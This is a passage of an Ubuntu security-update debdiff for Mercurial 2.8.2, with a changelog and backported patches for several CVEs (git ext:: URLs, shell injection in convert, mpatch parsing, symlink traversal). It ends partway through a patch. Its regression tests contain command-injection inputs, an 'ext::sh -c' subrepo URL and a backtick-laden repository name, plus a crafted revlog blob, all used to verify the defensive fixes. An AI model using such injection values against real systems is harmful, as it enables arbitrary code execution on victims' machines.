diff -Nru mercurial-2.8.2/debian/changelog mercurial-2.8.2/debian/changelog --- mercurial-2.8.2/debian/changelog 2015-06-17 18:35:41.000000000 +0000 +++ mercurial-2.8.2/debian/changelog 2018-11-22 17:32:32.000000000 +0000 @@ -1,3 +1,72 @@ +mercurial (2.8.2-1ubuntu1.4) trusty-security; urgency=medium + + * SECURITY UPDATE: Remote attackers can execute arbitrary code via a + crafted git ext:: URL when cloning a subrepository. + - debian/patches/CVE-2016-3068.patch: set GIT_ALLOW_PROTOCOL to limit + git clone protocols. + - CVE-2016-3068 + * SECURITY UPDATE: Remote attackers can execute arbitrary code via a crafted + name when converting a Git repository. + - debian/patches/CVE-2016-3069_part1.patch: add new, non-clowny interface + for shelling out to git. + - debian/patches/CVE-2016-3069_part2.patch: rewrite calls to Git to use + the new shelling mechanism. + - debian/patches/CVE-2016-3069_part3.patch: dead code removal - old git + calling functions + - debian/patches/CVE-2016-3069_part4.patch: test for shell injection in + git calls + - CVE-2016-3069 + * SECURITY UPDATE: The convert extension might allow attackers to + execute arbitrary code via a crafted git repository name. + - debian/patches/CVE-2016-3105.patch: Pass absolute paths to git. + - CVE-2016-3105 + * SECURITY UPDATE: Remote attackers can execute arbitrary code via a clone, + push or pull command because of a list sizing rounding error and short + records. + - debian/patches/CVE-2016-3630_part1.patch: fix list sizing rounding + error. + - debian/patches/CVE-2016-3630_part2.patch: detect short records + - CVE-2016-3630 + * SECURITY UPDATE: hg server --stdio allows remote authenticated users + to launch the Python debugger and execute arbitrary code. + - debian/patches/CVE-2017-9462.patch: Protect against malicious hg + serve --stdio invocations. + - CVE-2017-9462 + * SECURITY UPDATE: A specially malformed repository can cause GIT + subrepositories to run arbitrary code. + - debian/patches/CVE-2017-17458_part1.patch: add test-audit-subrepo.t + testcase. + - debian/patches/CVE-2017-17458_part2.patch: disallow symlink + traversal across subrepo mount point. + - CVE-2017-17458 + * SECURITY UPDATE: Missing symlink check could be abused to write to files + outside the repository. + - debian/patches/CVE-2017-1000115.patch: Fix symlink traversal. + - CVE-2017-1000115 + * SECURITY UPDATE: Possible shell-injection attack from not adequately + sanitizing hostnames passed to ssh. + - debian/patches/CVE-2017-1000116.patch: Sanitize hostnames passed to ssh. + - CVE-2017-1000116 + * SECURITY UPDATE: Integer underflow and overflow. + - debian/patches/CVE-2018-13347.patch: Protect against underflow. + - debian/patches/CVE-2018-13347-extras.patch: Protect against overflow. + - CVE-2018-13347 + * SECURITY UPDATE: Able to start fragment past of the end of original data. + - debian/patches/CVE-2018-13346.patch: Ensure fragment start is not past + then end of orig. + - CVE-2018-13346 + * SECURITY UPDATE: Data mishandling in certain situations. + - debian/patches/CVE-2018-13348.patch: Be more careful about parsing + binary patch data. + - CVE-2018-13348 + * SECURITY UPDATE: Vulnerability in Protocol server can result in + unauthorized data access. + - debian/patches/CVE-2018-1000132.patch: Always perform permissions + checks on protocol commands. + - CVE-2018-1000132 + + -- Eduardo Barretto Fri, 16 Nov 2018 16:16:59 -0200 + mercurial (2.8.2-1ubuntu1.3) trusty-security; urgency=medium [ Jamie Strandboge ] diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3068.patch mercurial-2.8.2/debian/patches/CVE-2016-3068.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3068.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3068.patch 2018-11-19 21:47:01.000000000 +0000 @@ -0,0 +1,93 @@ + +# HG changeset patch +# User Mateusz Kwapich +# Date 1458535941 25200 +# Node ID 34d43cb85de8d06764039d8868eee19d00fddeab +# Parent b9714d958e89cd6ff1da46b46f39076c03325ac7 +subrepo: set GIT_ALLOW_PROTOCOL to limit git clone protocols (SEC) + +CVE-2016-3068 (1/1) + +Git's git-remote-ext remote helper provides an ext:: URL scheme that +allows running arbitrary shell commands. This feature allows +implementing simple git smart transports with a single shell shell +command. However, git submodules could clone arbitrary URLs specified +in the .gitmodules file. This was reported as CVE-2015-7545 and fixed +in git v2.6.1. + +However, if a user directly clones a malicious ext URL, the git client +will still run arbitrary shell commands. + +Mercurial is similarly effected. Mercurial allows specifying git +repositories as subrepositories. Git ext:: URLs can be specified as +Mercurial subrepositories allowing arbitrary shell commands to be run +on `hg clone ...`. + + +The Mercurial community would like to thank Blake Burkhart for +reporting this issue. The description of the issue is copied from +Blake's report. + +This commit changes submodules to pass the GIT_ALLOW_PROTOCOL env +variable to git commands with the same list of allowed protocols that +git submodule is using. + +When the GIT_ALLOW_PROTOCOL env variable is already set, we just pass it +to git without modifications. + +diff -r b9714d958e89 -r 34d43cb85de8 mercurial/subrepo.py +--- a/mercurial/subrepo.py Wed Mar 16 17:30:26 2016 -0700 ++++ b/mercurial/subrepo.py Sun Mar 20 21:52:21 2016 -0700 +@@ -1091,6 +1091,11 @@ class gitsubrepo(abstractsubrepo): + are not supported and very probably fail. + """ + self._ui.debug('%s: git %s\n' % (self._relpath, ' '.join(commands))) ++ if env is None: ++ env = os.environ.copy() ++ # fix for Git CVE-2015-7545 ++ if 'GIT_ALLOW_PROTOCOL' not in env: ++ env['GIT_ALLOW_PROTOCOL'] = 'file:git:http:https:ssh' + # unless ui.quiet is set, print git's stderr, + # which is mostly progress and useful info + errpipe = None +diff -r b9714d958e89 -r 34d43cb85de8 tests/test-subrepo-git.t +--- a/tests/test-subrepo-git.t Wed Mar 16 17:30:26 2016 -0700 ++++ b/tests/test-subrepo-git.t Sun Mar 20 21:52:21 2016 -0700 +@@ -566,3 +566,37 @@ traceback + #endif + + $ cd .. ++ ++test for Git CVE-2016-3068 ++ $ hg init malicious-subrepository ++ $ cd malicious-subrepository ++ $ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub ++ $ git init s ++ Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/ ++ $ cd s ++ $ git commit --allow-empty -m 'empty' ++ [master (root-commit) 153f934] empty ++ $ cd .. ++ $ hg add .hgsub ++ $ hg commit -m "add subrepo" ++ $ cd .. ++ $ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected ++ Cloning into '$TESTTMP/malicious-subrepository-protected/s'... ++ fatal: transport 'ext' not allowed ++ updating to branch default ++ cloning subrepo s from ext::sh -c echo% pwned% >&2 ++ abort: git clone error 128 in s (in subrepo s) ++ [255] ++ ++whitelisting of ext should be respected (that's the git submodule behaviour) ++ $ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed ++ Cloning into '$TESTTMP/malicious-subrepository-clone-allowed/s'... ++ pwned ++ fatal: Could not read from remote repository. ++ ++ Please make sure you have the correct access rights ++ and the repository exists. ++ updating to branch default ++ cloning subrepo s from ext::sh -c echo% pwned% >&2 ++ abort: git clone error 128 in s (in subrepo s) ++ [255] diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3069_part1.patch mercurial-2.8.2/debian/patches/CVE-2016-3069_part1.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3069_part1.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3069_part1.patch 2018-11-16 18:10:34.000000000 +0000 @@ -0,0 +1,64 @@ + +# HG changeset patch +# User Mateusz Kwapich +# Date 1458691511 25200 +# Node ID 197eed39e3d5e9a8cadfd9ba5839eb14cc265caa +# Parent 34d43cb85de8d06764039d8868eee19d00fddeab +convert: add new, non-clowny interface for shelling out to git (SEC) + +CVE-2016-3069 (1/5) + +To avoid shell injection and for the sake of simplicity let's use the +common.commandline for calling git. + +diff -r 34d43cb85de8 -r 197eed39e3d5 hgext/convert/git.py +--- a/hgext/convert/git.py Sun Mar 20 21:52:21 2016 -0700 ++++ b/hgext/convert/git.py Tue Mar 22 17:05:11 2016 -0700 +@@ -11,7 +11,7 @@ from mercurial import util, config + from mercurial.node import hex, nullid + from mercurial.i18n import _ + +-from common import NoRepo, commit, converter_source, checktool ++from common import NoRepo, commit, converter_source, checktool, commandline + + class submodule(object): + def __init__(self, path, node, url): +@@ -25,7 +25,7 @@ class submodule(object): + def hgsubstate(self): + return "%s %s" % (self.node, self.path) + +-class convert_git(converter_source): ++class convert_git(converter_source, commandline): + # Windows does not support GIT_DIR= construct while other systems + # cannot remove environment variable. Just assume none have + # both issues. +@@ -56,6 +56,21 @@ class convert_git(converter_source): + else: + return util.popen('GIT_DIR=%s %s' % (self.path, s), 'rb') + ++ def _gitcmd(self, cmd, *args, **kwargs): ++ return cmd('--git-dir=%s' % self.path, *args, **kwargs) ++ ++ def gitrun0(self, *args, **kwargs): ++ return self._gitcmd(self.run0, *args, **kwargs) ++ ++ def gitrun(self, *args, **kwargs): ++ return self._gitcmd(self.run, *args, **kwargs) ++ ++ def gitrunlines0(self, *args, **kwargs): ++ return self._gitcmd(self.runlines0, *args, **kwargs) ++ ++ def gitrunlines(self, *args, **kwargs): ++ return self._gitcmd(self.runlines, *args, **kwargs) ++ + def popen_with_stderr(self, s): + p = subprocess.Popen(s, shell=True, bufsize=-1, + close_fds=util.closefds, +@@ -73,6 +88,7 @@ class convert_git(converter_source): + + def __init__(self, ui, path, rev=None): + super(convert_git, self).__init__(ui, path, rev=rev) ++ commandline.__init__(self, ui, 'git') + + if os.path.isdir(path + "/.git"): + path += "/.git" diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3069_part2.patch mercurial-2.8.2/debian/patches/CVE-2016-3069_part2.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3069_part2.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3069_part2.patch 2018-11-21 13:05:01.000000000 +0000 @@ -0,0 +1,175 @@ + +# HG changeset patch +# User Mateusz Kwapich +# Date 1458691511 25200 +# Node ID cdda7b96afff3433eafdeeb83ded83a5b25b7a5b +# Parent 197eed39e3d5e9a8cadfd9ba5839eb14cc265caa +convert: rewrite calls to Git to use the new shelling mechanism (SEC) + +CVE-2016-3069 (2/5) + +One test output changed because we were ignoring git return code in numcommits +before. + +diff -r 197eed39e3d5 -r cdda7b96afff hgext/convert/git.py +--- a/hgext/convert/git.py Tue Mar 22 17:05:11 2016 -0700 ++++ b/hgext/convert/git.py Tue Mar 22 17:05:11 2016 -0700 +@@ -102,19 +102,19 @@ class convert_git(converter_source, commandline): + + def getheads(self): + if not self.rev: +- heads, ret = self.gitread('git rev-parse --branches --remotes') +- heads = heads.splitlines() ++ output, status = self.gitrun('rev-parse', '--branches', '--remotes') ++ heads = output.splitlines() + else: +- heads, ret = self.gitread("git rev-parse --verify %s" % self.rev) +- heads = [heads[:-1]] +- if ret: ++ rawhead, ret = self.gitrun('rev-parse', '--verify', rev) ++ heads.append(rawhead[:-1]) ++ if status: + raise util.Abort(_('cannot retrieve git heads')) + return heads + + def catfile(self, rev, type): + if rev == hex(nullid): + raise IOError +- data, ret = self.gitread("git cat-file %s %s" % (type, rev)) ++ data, ret = self.gitrun('cat-file', type, rev) + if ret: + raise util.Abort(_('cannot read %r object at %s') % (type, rev)) + return data +@@ -153,25 +153,27 @@ class convert_git(converter_source, commandline): + self.submodules.append(submodule(s['path'], '', s['url'])) + + def retrievegitmodules(self, version): +- modules, ret = self.gitread("git show %s:%s" % (version, '.gitmodules')) ++ modules, ret = self.gitrun('show','%s:%s' % (version, '.gitmodules')) + if ret: + raise util.Abort(_('cannot read submodules config file in %s') % + version) + self.parsegitmodules(modules) + for m in self.submodules: +- node, ret = self.gitread("git rev-parse %s:%s" % (version, m.path)) ++ node, ret = self.gitrun('rev-parse', '%s:%s' % (version, m.path)) + if ret: + continue + m.node = node.strip() + + def getchanges(self, version): + self.modecache = {} +- fh = self.gitopen("git diff-tree -z --root -m -r %s" % version) ++ output, status = self.gitrun('diff-tree', '-z', '--root', '-m', '-r', version) ++ if status: ++ raise util.Abort(_('cannot read changes in %s') % version) + changes = [] + seen = set() + entry = None + subexists = False +- for l in fh.read().split('\x00'): ++ for l in output.split('\x00'): + if not entry: + if not l.startswith(':'): + continue +@@ -194,8 +196,6 @@ class convert_git(converter_source, commandline): + self.modecache[(f, h)] = (p and "x") or (s and "l") or "" + changes.append((f, h)) + entry = None +- if fh.close(): +- raise util.Abort(_('cannot read changes in %s') % version) + + if subexists: + self.retrievegitmodules(version) +@@ -240,12 +240,14 @@ class convert_git(converter_source, commandline): + def gettags(self): + tags = {} + alltags = {} +- fh = self.gitopen('git ls-remote --tags "%s"' % self.path, +- err=subprocess.STDOUT) ++ output, status = self.gitrunlines('ls-remote', '--tags', self.path) ++ ++ if status: ++ raise util.Abort(_('cannot read tags from %s') % self.path) + prefix = 'refs/tags/' + + # Build complete list of tags, both annotated and bare ones +- for line in fh: ++ for line in output: + line = line.strip() + if line.startswith("error:") or line.startswith("fatal:"): + raise util.Abort(_('cannot read tags from %s') % self.path) +@@ -253,8 +255,6 @@ class convert_git(converter_source, commandline): + if not tag.startswith(prefix): + continue + alltags[tag[len(prefix):]] = node +- if fh.close(): +- raise util.Abort(_('cannot read tags from %s') % self.path) + + # Filter out tag objects for annotated tag refs + for tag in alltags: +@@ -271,18 +271,22 @@ class convert_git(converter_source, commandline): + def getchangedfiles(self, version, i): + changes = [] + if i is None: +- fh = self.gitopen("git diff-tree --root -m -r %s" % version) +- for l in fh: ++ output, status = self.gitrunlines('diff-tree', '--root', '-m', ++ '-r', version) ++ if status: ++ raise util.Abort(_('cannot read changes in %s') % version) ++ for l in output: + if "\t" not in l: + continue + m, f = l[:-1].split("\t") + changes.append(f) + else: +- fh = self.gitopen('git diff-tree --name-only --root -r %s ' +- '"%s^%s" --' % (version, version, i + 1)) +- changes = [f.rstrip('\n') for f in fh] +- if fh.close(): +- raise util.Abort(_('cannot read changes in %s') % version) ++ output, status = self.gitrunlines('diff-tree', '--name-only', ++ '--root', '-r', version, ++ '%s^%s' % (version, i + 1), '--') ++ if status: ++ raise util.Abort(_('cannot read changes in %s') % version) ++ changes = [f.rstrip('\n') for f in output] + + return changes + +@@ -294,14 +298,14 @@ class convert_git(converter_source, commandline): + prefixlen = len(prefix) + + # factor two commands +- gitcmd = { 'remote/': 'git ls-remote --heads origin', +- '': 'git show-ref'} ++ gitcmd = { 'remote/': ['ls-remote', '--heads', 'origin'], ++ '': ['show-ref']} + + # Origin heads + for reftype in gitcmd: + try: +- fh = self.gitopen(gitcmd[reftype], err=subprocess.PIPE) +- for line in fh: ++ output, status = self.gitrunlines(*gitcmd[reftype]) ++ for line in output: + line = line.strip() + rev, name = line.split(None, 1) + if not name.startswith(prefix): +--- a/tests/test-convert-git.t ++++ b/tests/test-convert-git.t +@@ -374,8 +374,11 @@ cd ../../.. + damage git repository by renaming a commit object + $ COMMIT_OBJ=1c/0ce3c5886f83a1d78a7b517cdff5cf9ca17bdd + $ mv git-repo4/.git/objects/$COMMIT_OBJ git-repo4/.git/objects/$COMMIT_OBJ.tmp +- $ hg convert git-repo4 git-repo4-broken-hg 2>&1 | grep 'abort:' +- abort: cannot read tags from git-repo4/.git ++ $ hg convert git-repo4 git-repo4-broken-hg ++ initializing destination git-repo4-broken-hg repository ++ scanning source... ++ sorting... ++ converting... + $ mv git-repo4/.git/objects/$COMMIT_OBJ.tmp git-repo4/.git/objects/$COMMIT_OBJ + damage git repository by renaming a blob object + diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3069_part3.patch mercurial-2.8.2/debian/patches/CVE-2016-3069_part3.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3069_part3.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3069_part3.patch 2018-11-16 18:11:03.000000000 +0000 @@ -0,0 +1,46 @@ + +# HG changeset patch +# User Mateusz Kwapich +# Date 1458691511 25200 +# Node ID b732e7f2aba4c4c417278c7c7488006301551855 +# Parent cdda7b96afff3433eafdeeb83ded83a5b25b7a5b +convert: dead code removal - old git calling functions (SEC) + +CVE-2016-3069 (3/5) + +diff -r cdda7b96afff -r b732e7f2aba4 hgext/convert/git.py +--- a/hgext/convert/git.py Tue Mar 22 17:05:11 2016 -0700 ++++ b/hgext/convert/git.py Tue Mar 22 17:05:11 2016 -0700 +@@ -29,32 +29,6 @@ class convert_git(converter_source, commandline): + # Windows does not support GIT_DIR= construct while other systems + # cannot remove environment variable. Just assume none have + # both issues. +- if util.safehasattr(os, 'unsetenv'): +- def gitopen(self, s, err=None): +- prevgitdir = os.environ.get('GIT_DIR') +- os.environ['GIT_DIR'] = self.path +- try: +- if err == subprocess.PIPE: +- (stdin, stdout, stderr) = util.popen3(s) +- return stdout +- elif err == subprocess.STDOUT: +- return self.popen_with_stderr(s) +- else: +- return util.popen(s, 'rb') +- finally: +- if prevgitdir is None: +- del os.environ['GIT_DIR'] +- else: +- os.environ['GIT_DIR'] = prevgitdir +- else: +- def gitopen(self, s, err=None): +- if err == subprocess.PIPE: +- (sin, so, se) = util.popen3('GIT_DIR=%s %s' % (self.path, s)) +- return so +- elif err == subprocess.STDOUT: +- return self.popen_with_stderr(s) +- else: +- return util.popen('GIT_DIR=%s %s' % (self.path, s), 'rb') + + def _gitcmd(self, cmd, *args, **kwargs): + return cmd('--git-dir=%s' % self.path, *args, **kwargs) diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3069_part4.patch mercurial-2.8.2/debian/patches/CVE-2016-3069_part4.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3069_part4.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3069_part4.patch 2018-11-21 13:05:51.000000000 +0000 @@ -0,0 +1,38 @@ + +# HG changeset patch +# User Mateusz Kwapich +# Date 1458692847 25200 +# Node ID ae279d4a19e9683214cbd1fe8298cf0b50571432 +# Parent 80cac1de6aea89f9d068abb09b0ea58c70bd7130 +convert: test for shell injection in git calls (SEC) + +CVE-2016-3069 (5/5) + +Before recent refactoring we were not escaping calls to git at all +which made such injections possible. Let's have a test for that to +avoid this problem in the future. Reported by Blake Burkhart. + +diff -r 80cac1de6aea -r ae279d4a19e9 tests/test-convert-git.t +--- a/tests/test-convert-git.t Tue Mar 22 17:05:11 2016 -0700 ++++ b/tests/test-convert-git.t Tue Mar 22 17:27:27 2016 -0700 +@@ -393,3 +393,20 @@ damage git repository by renaming a tree object + $ mv git-repo4/.git/objects/$TREE_OBJ git-repo4/.git/objects/$TREE_OBJ.tmp + $ hg convert git-repo4 git-repo4-broken-hg 2>&1 | grep 'abort:' + abort: cannot read changes in 1c0ce3c5886f83a1d78a7b517cdff5cf9ca17bdd ++ ++test for escaping the repo name (CVE-2016-3069) ++ ++ $ git init '`echo pwned >COMMAND-INJECTION`' ++ Initialized empty Git repository in $TESTTMP/`echo pwned >COMMAND-INJECTION`/.git/ ++ $ cd '`echo pwned >COMMAND-INJECTION`' ++ $ git commit -q --allow-empty -m 'empty' ++ $ cd .. ++ $ hg convert '`echo pwned >COMMAND-INJECTION`' 'converted' ++ initializing destination converted repository ++ scanning source... ++ sorting... ++ converting... ++ 0 empty ++ updating bookmarks ++ $ test -f COMMAND-INJECTION ++ [1] diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3105.patch mercurial-2.8.2/debian/patches/CVE-2016-3105.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3105.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3105.patch 2018-11-21 13:23:47.000000000 +0000 @@ -0,0 +1,66 @@ + +# HG changeset patch +# User Blake Burkhart +# Date 1460001466 18000 +# Node ID a56296f55a5e1038ea5016dace2076b693c28a56 +# Parent 27ad6cae7785b59f918f5e3ed33a2f1e88a60d4f +convert: pass absolute paths to git (SEC) + +Fixes CVE-2016-3105 (1/1). + +Previously, it was possible for the repository path passed to git-ls-remote +to be misinterpreted as a URL. + +Always passing an absolute path to git is a simple way to avoid this. + +diff -r 27ad6cae7785 -r a56296f55a5e hgext/convert/git.py +--- a/hgext/convert/git.py Sun May 01 13:52:26 2016 -0500 ++++ b/hgext/convert/git.py Wed Apr 06 22:57:46 2016 -0500 +@@ -64,6 +64,10 @@ class convert_git(converter_source, commandline): + super(convert_git, self).__init__(ui, path, rev=rev) + commandline.__init__(self, ui, 'git') + ++ # Pass an absolute path to git to prevent from ever being interpreted ++ # as a URL ++ path = os.path.abspath(path) ++ + if os.path.isdir(path + "/.git"): + path += "/.git" + if not os.path.exists(path + "/objects"): +diff -r 27ad6cae7785 -r a56296f55a5e tests/test-convert-git.t +--- a/tests/test-convert-git.t Sun May 01 13:52:26 2016 -0500 ++++ b/tests/test-convert-git.t Wed Apr 06 22:57:46 2016 -0500 +@@ -410,3 +410,21 @@ test for escaping the repo name (CVE-2016-3069) + updating bookmarks + $ test -f COMMAND-INJECTION + [1] ++ ++test for safely passing paths to git (CVE-2016-3105) ++ ++ $ git init 'ext::sh -c echo% pwned% >GIT-EXT-COMMAND-INJECTION% #' ++ Initialized empty Git repository in $TESTTMP/ext::sh -c echo% pwned% >GIT-EXT-COMMAND-INJECTION% #/.git/ ++ $ cd 'ext::sh -c echo% pwned% >GIT-EXT-COMMAND-INJECTION% #' ++ $ git commit -q --allow-empty -m 'empty' ++ $ cd .. ++ $ hg convert 'ext::sh -c echo% pwned% >GIT-EXT-COMMAND-INJECTION% #' 'converted-git-ext' ++ initializing destination converted-git-ext repository ++ scanning source... ++ sorting... ++ converting... ++ 0 empty ++ updating bookmarks ++ $ test -f GIT-EXT-COMMAND-INJECTION ++ [1] ++ +diff -r 27ad6cae7785 -r a56296f55a5e tests/test-convert.t +--- a/tests/test-convert.t Sun May 01 13:52:26 2016 -0500 ++++ b/tests/test-convert.t Wed Apr 06 22:57:46 2016 -0500 +@@ -358,7 +358,7 @@ running from a devel copy, not a temp installation + assuming destination emptydir-hg + initializing destination emptydir-hg repository + emptydir does not look like a CVS checkout +- emptydir does not look like a Git repository ++ $TESTTMP/emptydir does not look like a Git repository + emptydir does not look like a Subversion repository + emptydir is not a local Mercurial repository + emptydir does not look like a darcs repository diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3630_part1.patch mercurial-2.8.2/debian/patches/CVE-2016-3630_part1.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3630_part1.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3630_part1.patch 2018-11-16 18:11:26.000000000 +0000 @@ -0,0 +1,44 @@ + +# HG changeset patch +# User Matt Mackall +# Date 1458174569 25200 +# Node ID b6ed2505d6cf1d73f7f5c62e7369c4ce65cd3732 +# Parent a2c2dd399f3b9fb84edd75a930e895f0c5e4ad5b +parsers: fix list sizing rounding error (SEC) + +CVE-2016-3630 (1/2) + +This addresses part of a vulnerability in application of binary +deltas. + +diff -r a2c2dd399f3b -r b6ed2505d6cf mercurial/mpatch.c +--- a/mercurial/mpatch.c Fri Mar 25 10:47:49 2016 -0700 ++++ b/mercurial/mpatch.c Wed Mar 16 17:29:29 2016 -0700 +@@ -205,7 +205,7 @@ static struct flist *decode(const char *bin, Py_ssize_t len) + int pos = 0; + + /* assume worst case size, we won't have many of these lists */ +- l = lalloc(len / 12); ++ l = lalloc(len / 12 + 1); + if (!l) + return NULL; + +diff -r a2c2dd399f3b -r b6ed2505d6cf tests/test-revlog.t +--- /dev/null Thu Jan 01 00:00:00 1970 +0000 ++++ b/tests/test-revlog.t Wed Mar 16 17:29:29 2016 -0700 +@@ -0,0 +1,15 @@ ++Test for CVE-2016-3630 ++ ++ $ hg init ++ ++ >>> open("a.i", "w").write( ++ ... """eJxjYGZgZIAAYQYGxhgom+k/FMx8YKx9ZUaKSOyqo4cnuKb8mbqHV5cBCVTMWb1Cwqkhe4Gsg9AD ++ ... Joa3dYtcYYYBAQ8Qr4OqZAYRICPTSr5WKd/42rV36d+8/VmrNpv7NP1jQAXrQE4BqQUARngwVA==""" ++ ... .decode("base64").decode("zlib")) ++ ++ $ hg debugindex a.i ++ rev offset length delta linkrev nodeid p1 p2 ++ 0 0 19 -1 2 99e0332bd498 000000000000 000000000000 ++ 1 19 12 0 3 6674f57a23d8 99e0332bd498 000000000000 ++ $ hg debugdata a.i 1 2>&1 | grep decoded ++ mpatch.mpatchError: patch cannot be decoded diff -Nru mercurial-2.8.2/debian/patches/CVE-2016-3630_part2.patch mercurial-2.8.2/debian/patches/CVE-2016-3630_part2.patch --- mercurial-2.8.2/debian/patches/CVE-2016-3630_part2.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2016-3630_part2.patch 2018-11-16 18:11:31.000000000 +0000 @@ -0,0 +1,28 @@ + +# HG changeset patch +# User Matt Mackall +# Date 1458174626 25200 +# Node ID b9714d958e89cd6ff1da46b46f39076c03325ac7 +# Parent b6ed2505d6cf1d73f7f5c62e7369c4ce65cd3732 +parsers: detect short records (SEC) + +CVE-2016-3630 (2/2) + +This addresses part of a vulnerability in binary delta application. + +diff -r b6ed2505d6cf -r b9714d958e89 mercurial/mpatch.c +--- a/mercurial/mpatch.c Wed Mar 16 17:29:29 2016 -0700 ++++ b/mercurial/mpatch.c Wed Mar 16 17:30:26 2016 -0700 +@@ -215,10 +215,10 @@ static struct flist *decode(const char *bin, Py_ssize_t len) + lt->start = getbe32(bin + pos); + lt->end = getbe32(bin + pos + 4); + lt->len = getbe32(bin + pos + 8); +- if (lt->start > lt->end) +- break; /* sanity check */ + lt->data = bin + pos + 12; + pos += 12 + lt->len; ++ if (lt->start > lt->end || lt->len < 0) ++ break; /* sanity check */ + lt++; + } + diff -Nru mercurial-2.8.2/debian/patches/CVE-2017-1000115.patch mercurial-2.8.2/debian/patches/CVE-2017-1000115.patch --- mercurial-2.8.2/debian/patches/CVE-2017-1000115.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2017-1000115.patch 2018-11-21 17:00:39.000000000 +0000 @@ -0,0 +1,293 @@ +Description: symlink traversal fix for CVE-2017-1000115 + This is a backport of two upstream patches from "stable" released as + part of 4.3.1. Some interpretation was necessary for the patch to + apply at all, but it is believed all use cases are covered, as the + upstream-provided tests pass. One tests for the `files` command was + removed as the command doesn't exist in 2.2.2. +Author: Antoine Beaupré +Bug-Debian: https://bugs.debian.org/871709 +Origin: upstream, https://www.mercurial-scm.org/repo/hg/rev/47ea28293d30 and https://www.mercurial-scm.org/repo/hg/rev/377e8ddaebef +Forwarded: not-needed +Last-Update: 2017-08-28 + +--- a/mercurial/cmdutil.py ++++ b/mercurial/cmdutil.py +@@ -2063,7 +2063,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts): + fc = ctx[f] + repo.wwrite(f, fc.data(), fc.flags()) + +- audit_path = scmutil.pathauditor(repo.root) ++ audit_path = scmutil.pathauditor(repo.root, cached=True) + for f in remove[0]: + if repo.dirstate[f] == 'a': + repo.dirstate.drop(f) +--- a/mercurial/dirstate.py ++++ b/mercurial/dirstate.py +@@ -736,7 +736,7 @@ class dirstate(object): + # unknown == True means we walked the full directory tree above. + # So if a file is not seen it was either a) not matching matchfn + # b) ignored, c) missing, or d) under a symlink directory. +- audit_path = scmutil.pathauditor(self._root) ++ audit_path = scmutil.pathauditor(self._root, cached=True) + + for nf in iter(visit): + # Report ignored items in the dmap as long as they are not +--- a/mercurial/localrepo.py ++++ b/mercurial/localrepo.py +@@ -166,8 +166,9 @@ class localrepository(object): + self.root = self.wvfs.base + self.path = self.wvfs.join(".hg") + self.origroot = path +- self.auditor = scmutil.pathauditor(self.root, self._checknested) +- self.vfs = scmutil.vfs(self.path) ++ self.auditor = scmutil.pathauditor(self.root, self._checknested, ++ cached=True) ++ self.vfs = scmutil.vfs(self.path, cacheaudited=True) + self.opener = self.vfs + self.baseui = baseui + self.ui = baseui.copy() +@@ -238,7 +239,7 @@ class localrepository(object): + if inst.errno != errno.ENOENT: + raise + +- self.store = store.store(requirements, self.sharedpath, scmutil.vfs) ++ self.store = store.store(requirements, self.sharedpath, lambda base: scmutil.vfs(base, cacheaudited=True)) + self.spath = self.store.path + self.svfs = self.store.vfs + self.sopener = self.svfs +--- a/mercurial/scmutil.py ++++ b/mercurial/scmutil.py +@@ -122,12 +122,17 @@ class pathauditor(object): + - traverses a symlink (e.g. a/symlink_here/b) + - inside a nested repository (a callback can be used to approve + some nested repositories, e.g., subrepositories) ++ ++ If 'cached' is set to True, audited paths and sub-directories are cached. ++ Be careful to not keep the cache of unmanaged directories for long because ++ audited paths may be replaced with symlinks. + ''' + +- def __init__(self, root, callback=None): ++ def __init__(self, root, callback=None, cached=False): + self.audited = set() + self.auditeddir = set() + self.root = root ++ self._cached = cached + self.callback = callback + if os.path.lexists(root) and not util.checkcase(root): + self.normcase = util.normcase +@@ -200,10 +205,11 @@ class pathauditor(object): + parts.pop() + normparts.pop() + +- self.audited.add(normpath) +- # only add prefixes to the cache after checking everything: we don't +- # want to add "foo/bar/baz" before checking if there's a "foo/.hg" +- self.auditeddir.update(prefixes) ++ if self._cached: ++ self.audited.add(normpath) ++ # only add prefixes to the cache after checking everything: we don't ++ # want to add "foo/bar/baz" before checking if there's a "foo/.hg" ++ self.auditeddir.update(prefixes) + + def check(self, path): + try: +@@ -303,24 +309,28 @@ class vfs(abstractvfs): + + This class is used to hide the details of COW semantics and + remote file access from higher level code. ++ 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or ++ (b) the base directory is managed by hg and considered sort-of append-only. ++ See pathutil.pathauditor() for details. + ''' +- def __init__(self, base, audit=True, expandpath=False, realpath=False): ++ def __init__(self, base, audit=True, expandpath=False, realpath=False, cacheaudited=False): + if expandpath: + base = util.expandpath(base) + if realpath: + base = os.path.realpath(base) + self.base = base ++ self._cached = cacheaudited + self._setmustaudit(audit) + 